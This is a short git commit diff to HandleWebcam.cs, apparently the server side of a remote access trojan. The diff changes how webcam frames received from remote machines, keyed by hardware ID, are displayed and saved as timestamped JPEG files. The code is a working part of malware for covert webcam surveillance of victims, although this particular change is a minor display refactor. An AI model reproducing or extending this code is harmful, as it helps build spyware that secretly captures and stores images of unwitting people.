Update HandleWebcam.cs

This commit is contained in:
NYAN CAT 2019-12-14 19:04:14 +03:00
parent 49ed0a6441
commit 37ed1952e4

View File

@ -67,12 +67,8 @@ namespace Server.Handle_Packet
{ {
using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes()))
{ {
Image image = (Image)Image.FromStream(memoryStream).Clone(); webcam.GetImage = (Image)Image.FromStream(memoryStream).Clone();
if (webcam.RenderSW.ElapsedMilliseconds >= (1000 / 20)) webcam.pictureBox1.Image = webcam.GetImage;
{
webcam.pictureBox1.Image = image;
webcam.RenderSW = Stopwatch.StartNew();
}
webcam.FPS++; webcam.FPS++;
if (webcam.sw.ElapsedMilliseconds >= 1000) if (webcam.sw.ElapsedMilliseconds >= 1000)
{ {
@ -82,7 +78,7 @@ namespace Server.Handle_Packet
Directory.CreateDirectory(webcam.FullPath); Directory.CreateDirectory(webcam.FullPath);
webcam.pictureBox1.Image.Save(webcam.FullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", ImageFormat.Jpeg); webcam.pictureBox1.Image.Save(webcam.FullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", ImageFormat.Jpeg);
} }
webcam.Text = "Webcam:" + unpack_msgpack.ForcePathObject("Hwid").AsString + " FPS:" + webcam.FPS + " Screen:" + image.Width + " x " + image.Height + " Size:" + Methods.BytesToString(memoryStream.Length); webcam.Text = "Webcam:" + unpack_msgpack.ForcePathObject("Hwid").AsString + " FPS:" + webcam.FPS + " Screen:" + webcam.GetImage.Width + " x " + webcam.GetImage.Height + " Size:" + Methods.BytesToString(memoryStream.Length);
webcam.FPS = 0; webcam.FPS = 0;
webcam.sw = Stopwatch.StartNew(); webcam.sw = Stopwatch.StartNew();
} }